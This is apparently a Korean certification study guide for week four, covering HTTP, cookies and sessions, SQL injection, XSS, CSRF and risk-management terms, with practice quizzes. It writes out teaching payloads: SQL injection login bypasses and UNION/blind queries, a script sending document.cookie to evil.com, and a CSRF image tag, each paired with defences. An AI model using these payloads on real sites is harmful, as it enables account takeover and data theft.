Week04_웹 기초와 보안관리 입문

Week 04 · 웹 기초와 보안관리 입문

Day 1 · HTTP 기초

1. 웹은 "주문서와 영수증" 주고받기

브라우저가 웹 서버에 요청(Request) 이라는 주문서를 보내면, 서버는 응답(Response) 이라는 영수증(+ 물건)을 돌려준다. 이 주고받는 규칙이 HTTP(HyperText Transfer Protocol)다.

HTTP는 텍스트로 된 규칙이라 사람이 읽을 수 있다. 그래서 공격자도 요청을 마음대로 고쳐서 보낼 수 있다. 웹 보안의 출발점이 바로 이것이다: "클라이언트가 보낸 건 전부 조작될 수 있다."

2. URL 구조

https://user@www.shop.com:8443/board/view.php?id=7&page=2#reply 를 쪼개 보면:

부분 값 의미
스킴(scheme) https 프로토콜
사용자 정보 user@ (거의 안 씀, 피싱에 악용: http://bank.com@evil.com은 실제로 evil.com 접속)
호스트 www.shop.com 서버 도메인
포트 8443 생략하면 http=80, https=443
경로(path) /board/view.php 서버의 자원 위치
쿼리(query) id=7&page=2 ? 뒤 이름=값을 &로 연결한 파라미터
프래그먼트 #reply 페이지 내 위치. 서버로 전송되지 않음 (브라우저만 사용)

3. HTTP 요청 구조 (원문)

GET /board/view.php?id=7 HTTP/1.1          ← 요청 라인: 메서드 경로 버전
Host: www.shop.com                         ← 헤더 시작
User-Agent: Mozilla/5.0 (Windows NT 10.0)
Referer: https://www.shop.com/board/list
Cookie: SESSIONID=a8f3k2...
Accept: text/html
                                           ← 빈 줄 (헤더 끝)
(GET은 보통 바디 없음)

로그인처럼 데이터를 보낼 때(POST):

POST /login HTTP/1.1
Host: www.shop.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 24

id=admin&pw=P%40ssw0rd

4. HTTP 응답 구조 (원문)

HTTP/1.1 200 OK                            ← 상태 라인: 버전 코드 문구
Date: Mon, 30 Nov 2026 01:00:00 GMT
Server: Apache/2.4.41 (Ubuntu)             ← 버전 노출 = 정보 노출
Content-Type: text/html; charset=UTF-8
Content-Length: 1532
Set-Cookie: SESSIONID=a8f3k2; Secure; HttpOnly

<html>
  <body>게시글 내용...</body>
</html>
보안 점검 포인트

Server, X-Powered-By 헤더에 웹서버·언어 버전이 그대로 나오면 공격자가 해당 버전의 알려진 취약점을 찾는 데 쓴다. 배너(버전 정보)는 숨기는 것이 권장된다.

5. HTTP 메서드

메서드 용도 안전(Safe) 멱등(Idempotent) 보안 메모
GET 자원 조회 ✅ ✅ 파라미터가 URL에 노출 (로그·히스토리·Referer에 남음)
POST 데이터 제출·생성 ❌ ❌ 바디로 전송. 중복 제출 시 두 번 처리될 수 있음
HEAD GET과 같지만 헤더만 ✅ ✅
PUT 자원 생성·덮어쓰기(업로드) ❌ ✅ 웹셸 업로드 위험 → 불필요 시 비활성화
DELETE 자원 삭제 ❌ ✅ 불필요 시 비활성화
PATCH 자원 일부 수정 ❌ ❌(보장 안 됨)
OPTIONS 허용 메서드 확인 ✅ ✅ 허용 메서드 노출(정보 수집에 이용)
TRACE 받은 요청을 그대로 되돌려줌 (디버깅) ✅ ✅ XST(Cross-Site Tracing)로 쿠키 탈취 → 비활성화
CONNECT 프록시 터널 생성 ❌ ❌ 오픈 프록시 악용 주의

안전 vs 멱등 — 개념 정리

GET vs POST 비교

구분 GET POST
데이터 위치 URL 쿼리스트링 요청 바디
노출 주소창, 서버 로그, 브라우저 기록, Referer 화면엔 안 보임 (하지만 평문)
길이 URL 길이 제한 있음 상대적으로 큰 데이터 가능
캐시·북마크 가능 일반적으로 불가
민감정보 전송 부적합 적합 (HTTPS와 함께)

6. 상태 코드

범위 의미 주요 코드
1xx 정보 100 Continue, 101 Switching Protocols(웹소켓 전환)
2xx 성공 200 OK, 201 Created, 204 No Content
3xx 리다이렉트 301 영구 이동, 302 임시 이동(Found), 304 Not Modified(캐시 사용)
4xx 클라이언트 오류 400 잘못된 요청, 401 인증 필요, 403 접근 금지, 404 없음, 405 메서드 허용 안 됨
5xx 서버 오류 500 내부 오류, 502 Bad Gateway, 503 서비스 불가(과부하·DoS 시 자주 봄)
401 vs 403

  • 401 Unauthorized: "누군지 모르겠다, 로그인(인증) 해라." 인증 정보가 없거나 틀림.
  • 403 Forbidden: "누군지 알지만 너는 권한이 없다." 인가 실패.
    이름은 Unauthorized지만 실제 의미는 미인증이라 헷갈리게 출제된다.

7. 주요 헤더

헤더 방향 의미 보안 관련
Host 요청 접속할 도메인 (HTTP/1.1 필수) 한 IP에 여러 사이트(가상 호스트) 구분
User-Agent 요청 브라우저·OS 정보 쉽게 위조 가능 → 신뢰 금지
Referer 요청 직전 페이지 주소 CSRF 방어용 출처 확인, 단 위조·누락 가능. URL 속 민감정보 유출 경로
Cookie 요청 브라우저가 저장한 쿠키 전송 세션ID 탈취 대상
Set-Cookie 응답 서버가 브라우저에 쿠키 저장 지시 Secure/HttpOnly/SameSite 속성
Content-Type 양방향 바디의 형식 (text/html, application/json) 잘못 지정 시 XSS 위험
Location 응답 3xx 리다이렉트 목적지 검증 없으면 오픈 리다이렉트
Authorization 요청 인증 정보 (Basic, Bearer 토큰) Basic은 Base64일 뿐 암호화 아님
Server 응답 서버 소프트웨어 정보 버전 노출 금지

Referer는 원래 영어 철자 Referrer의 오타가 표준이 된 것이다. 시험에서도 Referer로 쓴다.

8. HTTPS — HTTP에 TLS 자물쇠 달기

HTTPS = HTTP over TLS. HTTP 내용 자체는 같고, 그 아래에 TLS 암호 터널을 깐 것이다.

sequenceDiagram
    participant B as 브라우저
    participant S as 웹 서버
    B->>S: ClientHello (지원 암호 목록, 난수)
    S->>B: ServerHello + 서버 인증서
    B->>B: 인증서 체인·도메인·유효기간 검증
    B->>S: 키 교환 (세션키 합의)
    Note over B,S: 이후 HTTP 요청·응답 전체가
세션키로 암호화되어 오감 B->>S: GET /mypage (암호화됨) S->>B: 200 OK (암호화됨)
HTTPS가 주는 것 주지 않는 것
기밀성: 도청해도 내용 못 읽음 서버 측 취약점 방어 (SQLi, XSS는 그대로 가능)
무결성: 중간 변조 탐지 사이트가 "착한 사이트"라는 보증 (피싱 사이트도 HTTPS 가능)
서버 인증: 인증서로 진짜 서버 확인 접속 도메인 완전 은닉 (SNI 등으로 노출될 수 있음)

⚠️ 시험 함정

기출 포인트

확인 문제

Q1. 클라이언트가 보낸 요청을 그대로 되돌려 주는 기능 때문에 XST 공격에 악용될 수 있어 비활성화가 권고되는 메서드는?
① GET ② HEAD ③ TRACE ④ OPTIONS

Q2. 로그인하지 않은 사용자가 회원 전용 페이지에 접근했을 때 "인증이 필요함"을 의미하는 상태 코드는?
① 200 ② 302 ③ 401 ④ 403

Q3. 다음 중 멱등(Idempotent)하지 않은 메서드는?
① GET ② PUT ③ DELETE ④ POST

Q4. GET 방식으로 비밀번호를 전송하면 안 되는 이유로 가장 적절한 것은?
① GET은 TCP가 아닌 UDP를 사용하기 때문에
② 파라미터가 URL에 포함되어 로그·브라우저 기록·Referer 등에 남기 때문에
③ GET 요청은 서버에서 처리할 수 없기 때문에
④ GET 요청은 HTTPS로 보낼 수 없기 때문에

Q5. HTTPS 적용으로 얻을 수 있는 효과가 아닌 것은?
① 전송 데이터 도청 방지 ② 전송 중 데이터 변조 탐지 ③ 서버 신원 확인 ④ 웹 애플리케이션의 SQL Injection 방지


Day 2 · 쿠키와 세션

1. 왜 필요한가 — 기억력 없는 서버

HTTP는 무상태(Stateless) 라서, 방금 로그인한 사람이 다음 페이지를 요청해도 서버는 "처음 보는 사람"으로 취급한다. 페이지마다 비밀번호를 다시 칠 수는 없다.

그래서 서버가 브라우저에 "너는 3번 손님" 번호표를 주고, 브라우저는 다음 요청마다 그 번호표를 보여 준다. 이 번호표를 저장·전달하는 수단이 쿠키, 번호에 해당하는 손님 정보를 서버가 보관하는 것이 세션이다.

비유: 대중목욕탕 옷장 열쇠. 손님은 열쇠(세션ID)만 들고 다니고, 옷과 지갑(사용자 정보)은 목욕탕(서버)의 옷장에 있다. 열쇠를 남이 주우면 내 옷장을 연다 → 세션 하이재킹.

2. 쿠키 vs 세션

구분 쿠키 (Cookie) 세션 (Session)
저장 위치 클라이언트(브라우저) 서버 (메모리, DB 등)
클라이언트가 가진 것 데이터 자체 세션ID만 (보통 쿠키에 담아 전달)
보안성 사용자가 열람·변조 가능 → 낮음 데이터가 서버에 있어 상대적으로 높음
서버 부담 적음 사용자 수만큼 저장 → 큼
수명 Expires/Max-Age까지, 또는 브라우저 종료 시 서버 설정 타임아웃(예: 30분 무활동) 또는 로그아웃
예 언어 설정, 최근 본 상품 로그인 상태, 장바구니, 권한
쿠키에 넣으면 안 되는 것

role=user, isAdmin=false, price=10000 처럼 권한·금액을 쿠키에 저장하면 사용자가 isAdmin=true로 바꿔 보내는 것만으로 권한 상승이 된다. 중요한 판단 정보는 서버(세션) 에 둔다.

3. 세션 로그인 흐름

sequenceDiagram
    participant B as 브라우저
    participant S as 서버
    participant ST as 세션 저장소
    B->>S: POST /login (id, pw)
    S->>S: 비밀번호 검증 OK
    S->>ST: 세션 생성 a8f3 → user=kim, role=user
    S->>B: 302 + Set-Cookie: SESSIONID=a8f3
    B->>S: GET /mypage (Cookie: SESSIONID=a8f3)
    S->>ST: a8f3 조회 → kim
    S->>B: 200 kim의 마이페이지
    B->>S: GET /logout
    S->>ST: a8f3 삭제 (서버 측 무효화)
Set-Cookie: SESSIONID=a8f3k2Qx9...; Domain=shop.com; Path=/;
            Max-Age=1800; Secure; HttpOnly; SameSite=Lax
속성 의미 막는 것 / 효과
Secure HTTPS 연결에서만 쿠키 전송 평문 HTTP에서의 스니핑 탈취
HttpOnly JavaScript(document.cookie)로 접근 불가 XSS로 쿠키 탈취
SameSite 다른 사이트에서 시작된 요청에 쿠키를 붙일지 결정 CSRF 완화
Domain 쿠키를 보낼 도메인. 지정하면 하위 도메인까지 포함 범위가 넓을수록 노출↑. 생략 시 발급한 호스트에만
Path 쿠키를 보낼 경로 범위 (/admin이면 그 아래만) 범위 제한
Expires / Max-Age 만료 시각 / 남은 초. 둘 다 없으면 세션 쿠키(브라우저 종료 시 삭제) 오래 남는 영속 쿠키는 탈취 위험 기간↑

SameSite 값

값 다른 사이트에서 온 요청에 쿠키 전송 비고
Strict 전혀 안 보냄 가장 안전, 외부 링크로 들어오면 로그아웃 상태처럼 보이는 불편
Lax 링크 클릭 같은 최상위 GET 이동만 보냄 균형형. 최신 브라우저 다수가 미지정 시 Lax처럼 취급
None 항상 보냄 Secure 속성 필수

실습 — HttpOnly 확인

브라우저 개발자 도구 콘솔에서 document.cookie를 실행하면, HttpOnly가 없는 쿠키만 문자열로 보인다. HttpOnly 쿠키는 브라우저가 요청에는 붙여 보내지만 스크립트에는 보여 주지 않는다.

// XSS 공격 스크립트의 전형
new Image().src = "https://evil.com/steal?c=" + document.cookie;
// → HttpOnly면 세션 쿠키가 빠진 빈 값만 전송됨

5. 세션 하이재킹 (Session Hijacking)

남의 세션ID를 훔쳐서 그 사람으로 행세하는 공격. 비밀번호를 몰라도 된다.

탈취 경로 대응
평문 HTTP 스니핑 HTTPS + Secure
XSS로 document.cookie 읽기 HttpOnly, XSS 자체 제거
예측 가능한 세션ID (1001, 1002…) 충분히 길고 무작위인 세션ID
URL에 세션ID 포함 (;jsessionid=...) → Referer·로그로 유출 세션ID는 쿠키로만 전달
오래 유지되는 세션 세션 타임아웃, 로그아웃 시 서버 측 파기

6. 세션 고정 (Session Fixation)

하이재킹은 "훔치는" 것, 고정은 "미리 정해 주는" 것이다.

sequenceDiagram
    participant A as 공격자
    participant V as 피해자
    participant S as 서버
    A->>S: 1. 사이트 접속 → 세션ID XYZ 받음(비로그인)
    A->>V: 2. 세션ID=XYZ가 박힌 링크/쿠키를 피해자에게 심음
    V->>S: 3. XYZ를 가진 채로 로그인
    S->>S: 4. (취약) 세션ID를 그대로 XYZ 유지 → XYZ = 피해자 로그인 상태
    A->>S: 5. 공격자도 XYZ로 접속 → 피해자 계정 사용

⚠️ 시험 함정

기출 포인트

확인 문제

Q1. XSS 공격으로 스크립트가 실행되더라도 document.cookie를 통해 세션 쿠키를 읽지 못하게 하는 속성은?
① Secure ② HttpOnly ③ Path ④ Expires

Q2. 세션 고정(Session Fixation) 공격에 대한 가장 효과적인 대응은?
① 쿠키에 Expires 속성 지정 ② 로그인 성공 시 새로운 세션ID 발급 ③ 세션ID를 URL 파라미터로 전달 ④ 세션 타임아웃을 길게 설정

Q3. 쿠키와 세션에 대한 설명으로 옳지 않은 것은?
① 세션 방식에서 클라이언트는 주로 세션ID만 보관한다
② 쿠키는 사용자가 값을 조회·수정할 수 있다
③ 세션 데이터는 클라이언트 브라우저에 저장된다
④ 쿠키에 Expires/Max-Age가 없으면 브라우저 종료 시 삭제된다

Q4. SameSite 쿠키 속성이 주로 완화하는 공격은?
① SQL Injection ② CSRF ③ 디렉터리 리스팅 ④ 무차별 대입

Q5. 세션 하이재킹 대응책으로 거리가 먼 것은?
① HTTPS 적용과 Secure 속성 사용 ② 추측하기 어려운 무작위 세션ID 사용 ③ 일정 시간 미사용 시 세션 만료 ④ 세션ID를 연속된 숫자로 발급


Day 3 · SQL 기초 + SQL Injection 원리

1. SQL 기초 — 오늘 필요한 만큼만

웹 사이트의 회원 정보, 게시글, 상품은 대부분 데이터베이스(DB) 의 테이블에 저장된다. 테이블은 엑셀 시트와 비슷하다. 웹 애플리케이션은 SQL이라는 언어로 DB에 질문한다.

예제 테이블 users:

id pw name role
admin (해시값) 관리자 admin
kim (해시값) 김철수 user
lee (해시값) 이영희 user
문법 예 뜻
SELECT 컬럼 FROM 테이블 SELECT name FROM users 이름 컬럼을 모두 조회
WHERE 조건 WHERE id = 'kim' 조건에 맞는 행만
AND / OR WHERE id='kim' AND role='user' 그리고 / 또는. AND가 OR보다 먼저 계산
'문자열' 'kim' 문자열은 싱글쿼트로 감쌈. 숫자는 그냥 7
-- / # / /* */ -- 주석 뒤를 주석 처리(무시). MySQL의 --는 뒤에 공백 필요, #은 MySQL 주석
UNION SELECT SELECT a,b FROM t1 UNION SELECT c,d FROM t2 두 결과를 합침. 컬럼 수가 같아야 함
ORDER BY n ORDER BY 2 n번째 컬럼으로 정렬 (없는 번호면 오류)
; SELECT ...; DROP TABLE users 문장 구분 (DB에 따라 여러 문장 실행 허용)

2. SQL Injection이 일어나는 이유

로그인 기능을 이렇게 만들었다고 하자 (Java 예).

String sql = "SELECT * FROM users WHERE id = '" + id
           + "' AND pw = '" + pw + "'";

개발자는 id 자리에 데이터(kim)가 들어올 거라 기대했다. 그런데 사용자가 SQL 문법 조각(', --, OR)을 넣으면, 문자열을 이어 붙이는 순간 데이터가 명령어로 변신한다.

핵심 원인: 사용자 입력(데이터)과 SQL 명령(코드)이 한 문자열로 섞인다.

비유: 은행 창구 신청서의 "이름" 칸에 홍길동. 그리고 금고 문을 열어 줄 것이라고 적었는데, 직원이 신청서 전체를 명령문처럼 그대로 읽고 실행하는 상황이다.

3. 실습 ① 인증 우회 — 주석 이용

입력: ID = admin'-- (끝에 공백), PW = 아무거나

-- 원래 의도
SELECT * FROM users WHERE id = '[ID]' AND pw = '[PW]'

-- 실제로 만들어진 쿼리
SELECT * FROM users WHERE id = 'admin'-- ' AND pw = '아무거나'
                                      └──────── 주석 처리됨 ────────┘
-- DB가 실제 실행하는 부분
SELECT * FROM users WHERE id = 'admin'
  1. '가 원래 문자열을 닫아 버린다.
  2. -- 가 뒤의 비밀번호 검사를 주석으로 지운다.
  3. 결과: admin 행이 반환 → 비밀번호 없이 관리자 로그인.

4. 실습 ② 인증 우회 — 항상 참 조건

입력: ID = ' OR 1=1 --

SELECT * FROM users WHERE id = '' OR 1=1 -- ' AND pw = '...'
→ WHERE id = '' OR 1=1        (1=1은 항상 참)
→ 모든 행 반환 → 앱이 첫 행(보통 admin)으로 로그인 처리
왜 ' OR '1'='1만 ID에 넣으면 실패할 수도 있나

WHERE id='' OR '1'='1' AND pw='틀린값' 은 AND가 먼저 계산되어 id='' OR ('1'='1' AND pw='틀린값') → 거짓이 된다. 그래서 주석(--)으로 뒤를 지우거나, PW 칸에도 같은 조작을 넣는다. 연산자 우선순위까지 이해하면 "왜 되는지"가 보인다.

5. SQL Injection 유형별 단계

(1) Error-based — 오류 메시지로 정보 캐기

/product.php?id=3' 처럼 싱글쿼트 하나를 넣는다.

You have an error in your SQL syntax; check the manual that
corresponds to your MySQL server version for the right syntax...

(2) UNION-based — 다른 테이블 끌어오기

원래 쿼리: SELECT name, price FROM products WHERE id = 3 (화면에 상품명·가격 표시)

1단계: 컬럼 수 알아내기
  ?id=3 ORDER BY 2   → 정상
  ?id=3 ORDER BY 3   → 오류  ⇒ 컬럼은 2개

2단계: UNION으로 회원 테이블 붙이기
  ?id=-1 UNION SELECT id, pw FROM users

  실행 쿼리:
  SELECT name, price FROM products WHERE id = -1
  UNION SELECT id, pw FROM users

3단계: 상품 목록 자리에 회원 ID와 비밀번호(해시)가 출력됨

(3) Blind — 결과가 안 보일 때 "예/아니오"로 캐기

화면에 데이터나 오류가 안 나와도, 참/거짓에 따라 페이지가 달라지면 한 글자씩 알아낼 수 있다.

Boolean-based:
  ?id=3 AND 1=1  → 상품 정상 표시 (참)
  ?id=3 AND 1=2  → 상품 없음     (거짓)   ⇒ 주입 가능!

  ?id=3 AND SUBSTRING((SELECT pw FROM users WHERE id='admin'),1,1)='a'
  → 정상이면 첫 글자는 'a', 아니면 'b' 시도… (자동화 도구가 반복)

Time-based:
  ?id=3 AND SLEEP(5)                 (MySQL)
  ?id=3; WAITFOR DELAY '0:0:5'       (MS-SQL)
  → 응답이 5초 늦어지면 조건이 참 ⇒ 화면 차이가 전혀 없어도 판별

(4) Stacked Query · 저장 프로시저 악용

유형 판단 근거 대표 키워드
Error-based DB 오류 메시지 ' 하나 넣기
UNION-based 화면 출력에 다른 테이블 결과 ORDER BY n, UNION SELECT
Boolean Blind 참/거짓 페이지 차이 AND 1=1 / AND 1=2
Time-based Blind 응답 지연 시간 SLEEP(), WAITFOR DELAY, BENCHMARK()
Stacked / 프로시저 추가 문장 실행 ;, xp_cmdshell

6. 대응 — Prepared Statement가 근본 대책인 이유

Prepared Statement(바인딩 변수, 매개변수화 쿼리)는 SQL 구조를 먼저 확정하고, 입력값은 나중에 순수 데이터로만 끼워 넣는다. 입력에 '나 --가 있어도 그냥 "그런 글자로 된 ID"로 취급될 뿐 문법이 되지 못한다.

문자열 연결 방식:   "... id='" + 입력 + "' ..."  → 입력이 쿼리 문법의 일부가 됨
Prepared 방식:     "... id = ?"  (구조 고정)  +  ?에는 값만 바인딩

Java (JDBC)

// ❌ 취약: 문자열 연결 + Statement
String sql = "SELECT * FROM users WHERE id='" + id + "'";
Statement st = conn.createStatement();
ResultSet rs = st.executeQuery(sql);

// ✅ 안전: PreparedStatement + 바인딩
String sql = "SELECT * FROM users WHERE id = ?";
PreparedStatement ps = conn.prepareStatement(sql);
ps.setString(1, id);          // 입력은 '값'으로만 들어감
ResultSet rs = ps.executeQuery();

PHP (PDO)

// ✅ 안전
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = :id");
$stmt->execute(['id' => $id]);
$user = $stmt->fetch();
Prepared Statement를 써도 뚫리는 경우

  • prepareStatement("... WHERE id='" + id + "'") 처럼 안에서 또 문자열을 이어 붙이면 소용없다.
  • 테이블명·컬럼명·ORDER BY 방향은 바인딩할 수 없다 → 허용 목록(화이트리스트)으로 검증.
  • MyBatis에서 #{}는 바인딩(안전), ${}는 문자열 치환(취약).

대응 전체 목록 (우선순위 순)

  1. Prepared Statement (바인딩 변수) — 근본 대책
  2. 입력값 검증: 형식 화이트리스트(숫자만, 길이 제한), 특수문자(' " -- ; #) 필터링·이스케이프 — 보조 대책
  3. 오류 메시지 노출 금지: 공통 오류 페이지
  4. DB 계정 최소 권한: 웹 앱 계정에 DROP·관리 권한 X, xp_cmdshell 같은 위험 프로시저 비활성화
  5. 웹 방화벽(WAF): 알려진 패턴 차단 — 우회 가능하므로 보조 대책
  6. 비밀번호는 평문이 아니라 솔트+해시로 저장 (유출되어도 피해 축소)

⚠️ 시험 함정

기출 포인트

확인 문제

Q1. 다음 입력이 로그인 ID 필드에 들어갔을 때 비밀번호 검사가 무력화되는 주된 이유는? admin'--
① UNION으로 다른 테이블을 조회해서
② 싱글쿼트로 문자열을 닫고 뒤의 조건을 주석 처리해서
③ 응답 시간을 지연시켜서
④ 저장 프로시저를 호출해서

Q2. ?id=3 AND 1=1과 ?id=3 AND 1=2의 응답 페이지가 서로 다른 것을 이용해 정보를 알아내는 기법은?
① Error-based SQLi ② UNION-based SQLi ③ Boolean-based Blind SQLi ④ Time-based Blind SQLi

Q3. SQL Injection의 근본적인 대응책으로 가장 적절한 것은?
① 웹 방화벽 도입 ② 클라이언트 측 JavaScript로 특수문자 검사 ③ Prepared Statement(바인딩 변수) 사용 ④ HTTPS 적용

Q4. UNION-based SQL Injection을 시도하기 전 공격자가 ORDER BY 1, ORDER BY 2… 처럼 숫자를 늘려 가며 입력하는 목적은?
① DB 계정의 권한 확인 ② 원래 쿼리의 컬럼 수 파악 ③ 응답 지연 유도 ④ 세션ID 탈취

Q5. 다음 중 SQL Injection 대응으로 적절하지 않은 것은?
① DB 오류 메시지를 사용자에게 그대로 출력
② 웹 애플리케이션 DB 계정에 최소 권한 부여
③ 입력값의 형식과 길이 검증
④ MyBatis에서 ${} 대신 #{} 사용


Day 4 · 웹 공격 3대장 미리보기

1. 큰 그림 — 누가 누구를 속이나

세 공격 모두 "믿으면 안 되는 것을 믿어서" 생긴다. 무엇이 무엇을 잘못 믿는지로 구분하면 헷갈리지 않는다.

공격 잘못된 믿음 실행되는 곳
SQL Injection 서버가 사용자 입력을 SQL 코드로 믿고 실행 DB 서버
XSS 사용자(브라우저)가 서버가 준 페이지를 믿고 스크립트 실행 피해자 브라우저
CSRF 서버가 "쿠키가 붙은 요청 = 사용자 본인 의도" 라고 믿음 서버 (피해자 권한으로)
한 줄 암기

  • XSS: 사용자가 서버를 믿는 것을 악용 → 피해자 브라우저에서 스크립트 실행
  • CSRF: 서버가 사용자(브라우저)를 믿는 것을 악용 → 피해자 모르게 요청 전송

2. XSS (Cross-Site Scripting)

공격자가 게시판 등에 스크립트를 심어, 그 페이지를 본 다른 사용자의 브라우저에서 실행되게 하는 공격이다.

예시 — 저장형 XSS

게시글 본문에 다음을 쓰고 등록:

안녕하세요!
<script>
  new Image().src="https://evil.com/c?="+document.cookie;
</script>

서버가 이 내용을 그대로 HTML에 출력하면, 글을 연 모든 사람의 브라우저가 스크립트를 실행해 쿠키를 공격자에게 보낸다.

sequenceDiagram
    participant A as 공격자
    participant S as 게시판 서버
    participant V as 피해자 브라우저
    participant E as evil.com
    A->>S: 1. 스크립트 담은 글 등록
    V->>S: 2. 그 글 열람
    S->>V: 3. 스크립트 포함된 HTML 응답
    V->>V: 4. 브라우저가 스크립트 실행
    V->>E: 5. 쿠키(세션ID) 전송
    E-->>A: 6. 공격자가 세션 하이재킹
XSS 유형 스크립트 위치 특징
저장형 (Stored) 서버 DB(게시글, 댓글)에 저장 열람자 모두 피해, 가장 위험
반사형 (Reflected) URL 파라미터 → 응답에 즉시 반사 피해자가 조작된 링크를 클릭해야 함
DOM 기반 브라우저의 JavaScript가 URL(# 등)을 페이지에 넣음 서버를 거치지 않을 수 있어 서버 로그·필터로 탐지 어려움

대응 — 출력 인코딩

입력:  <script>alert(1)</script>
출력:  &lt;script&gt;alert(1)&lt;/script&gt;
→ 브라우저가 태그가 아닌 "글자"로 화면에 표시
문자 HTML 엔티티
< &lt;
> &gt;
" &quot;
' &#x27;
& &amp;

3. CSRF (Cross-Site Request Forgery)

피해자가 로그인된 상태에서 공격자가 만든 페이지를 열면, 그 페이지가 피해자 모르게 원래 사이트로 요청을 보낸다. 브라우저는 그 요청에 자동으로 쿠키를 붙이므로, 서버는 "본인이 보낸 요청"으로 착각한다.

예시 — 은행 비밀번호 변경이 GET /changePw?new=1234로 동작한다면, 공격자 블로그에:

<img src="https://bank.com/changePw?new=hacked123" width="0">
sequenceDiagram
    participant V as 피해자 브라우저
    participant E as 공격자 페이지
    participant B as bank.com
    V->>B: 1. 정상 로그인 (세션 쿠키 보유)
    V->>E: 2. 공격자 페이지 방문
    E->>V: 3. 숨은 img/form 포함 HTML
    V->>B: 4. 자동 요청 + 쿠키 자동 첨부
    B->>B: 5. 정상 사용자 요청으로 처리 → 비밀번호 변경

4. 3대장 비교표

XSS CSRF SQL Injection
공격 대상 다른 사용자 브라우저 서버 (사용자 권한 도용) DB
핵심 스크립트 삽입·실행 사용자 모르게 요청 전송 SQL 구문 조작
공격자가 결과를 보나 스크립트로 빼돌림 보통 못 봄 (실행만) 직접 봄 (Blind는 추론)
피해자 로그인 필요 쿠키 탈취 목적이면 필요 필수 불필요
대표 피해 쿠키 탈취, 피싱 화면, 악성 사이트 이동 비번 변경, 송금, 글 작성 데이터 유출, 인증 우회, 변조
대표 대응 출력 인코딩, HttpOnly, CSP CSRF 토큰, SameSite Prepared Statement
XSS가 있으면 CSRF 토큰도 뚫린다

XSS로 실행된 스크립트는 같은 사이트 안에서 돌기 때문에 페이지의 CSRF 토큰을 읽어서 요청에 넣을 수 있다. 그래서 XSS를 먼저 막는 것이 중요하다.

5. 실습 · 공격 이름 맞히기

# 상황 답
1 검색어가 결과 페이지에 그대로 출력되어 ?q=<script>... 링크를 클릭한 사람의 쿠키가 유출 반사형 XSS
2 쇼핑몰 상품평에 스크립트를 써 두어 열람자마다 악성 사이트로 이동 저장형 XSS
3 메일 속 이미지 태그가 로그인된 관리자 권한으로 "회원 삭제" URL 호출 CSRF
4 로그인 ID에 ' OR 1=1 -- 입력 SQL Injection
5 URL의 # 뒤 값을 JavaScript가 innerHTML로 넣어 스크립트 실행 DOM 기반 XSS

자세한 심화(파일 업로드, SSRF, 경로 조작 등)는 Week09_어플리케이션 보안에서.

⚠️ 시험 함정

기출 포인트

확인 문제

Q1. 다음 중 CSRF 공격의 대표적인 대응책은?
① HttpOnly 쿠키 속성 ② 요청마다 검증하는 예측 불가능한 토큰 ③ Prepared Statement ④ 상세 오류 메시지 출력

Q2. 공격 스크립트가 게시판 DB에 저장되어 게시글을 열람하는 모든 사용자에게 실행되는 공격은?
① 반사형 XSS ② 저장형 XSS ③ DOM 기반 XSS ④ CSRF

Q3. XSS와 CSRF에 대한 설명으로 옳은 것은?
① XSS는 서버가 사용자를 신뢰하는 점을, CSRF는 사용자가 서버를 신뢰하는 점을 악용한다
② CSRF가 성공하려면 피해자가 대상 사이트에 로그인된 상태인 경우가 일반적이다
③ XSS의 주된 피해자는 DB 서버이다
④ HttpOnly 속성은 CSRF를 근본적으로 차단한다

Q4. XSS 대응으로 <를 &lt;로 바꾸어 출력하는 방법은?
① 입력값 암호화 ② 출력 인코딩(이스케이프) ③ 세션 재발급 ④ 바인딩 변수


Day 5 · 보안관리 기본 용어

1. 왜 "관리"가 필요한가

Day 1~4는 "어디가 뚫리는가"였다. 그런데 회사에는 예산이 한정되어 있다. 모든 취약점을 다 막을 수 없으니 무엇을 먼저, 얼마나 막을지 정해야 한다. 이 판단의 언어가 자산·위협·취약점·위험이다.

5과목 문제의 상당수가 이 용어를 정확히 구분하는지를 본다. 일상어처럼 대충 쓰면 틀린다.

2. 6가지 핵심 용어 — 집 도둑 비유

용어 정의 집 비유 회사 예
자산 (Asset) 보호할 가치가 있는 것 집 안의 귀금속 고객 DB, 서버, 직원, 평판
위협 (Threat) 자산에 피해를 줄 수 있는 원인·행위자 도둑 해커, 악의적 내부자, 화재, 실수
취약점 (Vulnerability) 위협이 이용할 수 있는 약점 잠그지 않은 창문 미패치 서버, 약한 비밀번호, SQLi 가능 페이지
위험 (Risk) 위협이 취약점을 이용해 자산에 손실을 줄 가능성과 그 영향 도둑이 창문으로 들어와 귀금속을 훔칠 가능성 고객정보 유출 가능성
대책 (Control, 통제·보호대책) 위험을 줄이는 수단 창문 잠금장치, 경보기 패치, MFA, Prepared Statement
잔여 위험 (Residual Risk) 대책을 적용한 후에도 남는 위험 잠가도 유리창을 깨고 들어올 가능성 제로데이 공격 가능성
flowchart LR
    T["위협
(해커)"] -->|이용| V["취약점
(SQLi 페이지)"] V -->|노출| A["자산
(고객 DB)"] A --> R["위험
(유출 가능성 × 피해)"] C["대책
(Prepared Statement)"] -->|감소| R R --> RR["잔여 위험"] RR -->|경영진 판단| ACC["수용"]
핵심 구분

  • 위협은 "밖에서 오는 것", 취약점은 "내 안의 약점". 해커는 위협, 해커가 노리는 구멍은 취약점.
  • 위협만 있고 취약점이 없으면(또는 그 반대면) 위험은 거의 없다. 위험은 셋이 만날 때 생긴다.
  • 잔여 위험은 0으로 만들 수 없다. 그래서 경영진이 "이 정도는 감수한다"고 수용 결정을 한다.

3. 위험 공식

정성적 표현 (개념):

위험 = 자산 가치 × 위협 × 취약성
= f(자산, 위협, 취약점)

또는 결과 중심으로:

위험 = 발생 가능성 × 영향(손실 규모)

정량적 표현 (금액으로 계산 — 맛보기):

용어 뜻 공식
AV (Asset Value) 자산 가치
EF (Exposure Factor) 사고 1회 시 자산이 손실되는 비율 0~100%
SLE (Single Loss Expectancy) 사고 1회 예상 손실 AV × EF
ARO (Annualized Rate of Occurrence) 연간 발생 횟수(빈도) 예: 2년에 1번 = 0.5
ALE (Annualized Loss Expectancy) 연간 예상 손실 SLE × ARO

계산 연습

4. 위험 처리 전략 4가지 (맛보기)

위험을 평가한 뒤 어떻게 다룰지 정한다. 상세는 Week06_정보보안 관리 및 법규.

전략 뜻 예
감소(완화) 대책을 적용해 위험을 낮춤 패치, 방화벽, 교육
회피 위험을 일으키는 활동 자체를 중단 위험한 서비스 폐지
전가(이전) 위험을 제3자에게 넘김 보험, 외주 계약
수용 위험을 알고도 감수 비용 대비 효과 낮은 위험, 잔여 위험
